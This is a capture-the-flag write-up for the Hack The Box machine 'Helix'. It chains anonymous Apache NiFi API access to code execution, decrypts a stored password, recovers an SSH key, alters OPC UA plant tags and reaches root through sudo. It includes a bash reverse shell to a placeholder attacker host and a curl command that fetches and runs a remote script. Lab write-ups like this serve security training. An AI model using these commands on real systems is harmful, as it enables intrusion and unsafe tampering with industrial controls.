Helix (HTB #894) — Medium Linux
Author: 0xIDA
Solvers
Summary
Apache NiFi 1.21 on flow.helix.htb allows anonymous write on the REST API. From there:
- RCE as
nifiviaExecuteProcess - Decrypt DBCP sensitive password with
nifi.sensitive.props.key(PBKDF2-AES-GCM, static saltNiFi Static Salt) - Recover operator SSH private key from
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak - SSH as
operator→ user flag - Drive OPC UA plant tags to open a timed maintenance window
sudo /usr/local/sbin/helix-maint-console(NOPASSWD) → root shell
Recon
# hosts
echo '10.129.245.123 helix.htb flow.helix.htb' >> /etc/hosts
nmap -sC -sV -oA nmap 10.129.245.123
# 22/ssh, 80/http (helix.htb marketing + flow.helix.htb → NiFi)
VHost fuzz found flow.helix.htb → Apache NiFi 1.21.0 UI.
curl -s http://flow.helix.htb/nifi-api/flow/current-user
# {"identity":"anonymous","anonymous":true, ... canWrite:true ...}
Anonymous write confirmed.
Foothold — NiFi ExecuteProcess RCE
Root process group: f203bc07-019b-1000-516b-eaedd48609d1
# create ExecuteProcess
POST /nifi-api/process-groups/{root}/processors
# type: org.apache.nifi.processors.standard.ExecuteProcess
# Command: bash
# Command Arguments: -c,bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Argument Delimiter: ,
# autoTerminatedRelationships: [success]
# start processor → reverse shell as nifi
Also works as one-shot HTTP exfil (more stable than reverse shells under load):
Command Arguments: -c,curl -s http://ATTACKER/script.py -o /tmp/s.py && python3 /tmp/s.py
Credential recovery
Sensitive property decrypt
nifi.properties:
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
Format of enc{hex} values: IV (16) || ciphertext||tag.
KDF: PBKDF2-HMAC-SHA512, 160000 iterations, static salt NiFi Static Salt (not embedded in ciphertext).
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
key_str = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl"
static_salt = b"NiFi Static Salt"
kdf = PBKDF2HMAC(algorithm=hashes.SHA512(), length=32, salt=static_salt, iterations=160000)
aes_key = kdf.derive(key_str.encode())
raw = bytes.fromhex(enc_hex)
pt = AESGCM(aes_key).decrypt(raw[:16], raw[16:], None)
# => b'R7qZ9L3xKM2W8pFYcA' (H2 DBCP password for user "operator")
H2 pool is jdbc:h2:mem:maint (empty of app data) — password is for the DBCP service, not Linux login.
Operator SSH key (user)
ls /opt/nifi-1.21.0/support-bundles/
# operator_id_ed25519.bak (nifi-readable)
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak > operator_key
chmod 600 operator_key
ssh -i operator_key operator@10.129.245.123
uid=1001(operator)
user.txt = 6b23db6044c9f9c821077ba231f47c0f
sudo -l: (root) NOPASSWD: /usr/local/sbin/helix-maint-console
(Note: Defaults use_pty — sudo needs a real PTY / ssh -tt / paramiko get_pty().)
Privesc — OPC UA maintenance window + sudo console
Internal services (as nifi / on-box):
| Port | Service |
|---|---|
| 4840 | OPC UA PLC (opc.tcp://127.0.0.1:4840/helix/) as plc |
| 8081 | Helix HMI (Flask/pyinstaller) as www-data |
| 8080 | NiFi |
Plant object ns=2;i=1 notable nodes:
| NodeId | Name | Access |
|---|---|---|
| ns=2;i=3 | TemperatureRaw | R |
| ns=2;i=4 | Temperature (= raw + offset) | R |
| ns=2;i=5 | Pressure | R |
| ns=2;i=6 | CalibrationOffset | RW |
| ns=2;i=12 | Mode | RW |
| ns=2;i=13 | TestOverride | RW |
Open window:
from opcua import Client
c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.connect()
c.get_node("ns=2;i=12").set_value("MAINTENANCE")
c.get_node("ns=2;i=13").set_value(True)
c.get_node("ns=2;i=6").set_value(20.0) # raise calibrated temp ≥ 295°C
# HMI: Maintenance window Status OPEN (~120s)
Then as operator (with PTY):
sudo /usr/local/sbin/helix-maint-console
# [+] Privileged maintenance access granted
# [!] Window expires in ~115 seconds
# root@helix#
cat /root/root.txt
# 5bf99e26d9ec94bba052e13431ce57d4
Window file checked by console: /opt/helix/state/maintenance_window (unix expiry timestamp). Directory is root:helixsvc 750 — only plc/www-data (and root) can read directly; operator goes through the sudo wrapper.
Flags (live-submitted)
| Flag | Value | Submit |
|---|---|---|
| user | 6b23db6044c9f9c821077ba231f47c0f | success |
| root | 5bf99e26d9ec94bba052e13431ce57d4 | success |
Tools / methodology
- nmap, ffuf (vhosts), curl
- NiFi REST API (anonymous)
- ExecuteProcess reverse shell / HTTP callback
- Java
PropertyEncryptorBuilder/ Python AES-GCM decrypt - freeopcua (
opcuapackage) on target via pure-python wheel drop - paramiko + PTY for
use_ptysudo - HTB MCP submit
Pitfalls
- NiFi
enc{}uses static salt"NiFi Static Salt"— not the first 16 bytes of ciphertext. - IV length is 16 for this NiFi build (not 12).
- H2 password ≠ SSH password; SSH key is under
support-bundles/. sudofor operator requires a PTY (use_pty); non-interactive exec fails with “password required” even for NOPASSWD.- Reverse shells via ExecuteProcess hang easily — prefer short one-shots / HTTP exfil.
- Window is time-limited (~2 min); open OPC tags then fire console immediately.
- Only one free-form ExecuteProcess “alive” at a time — terminate stuck threads via
DELETE /processors/{id}/threadsbefore delete.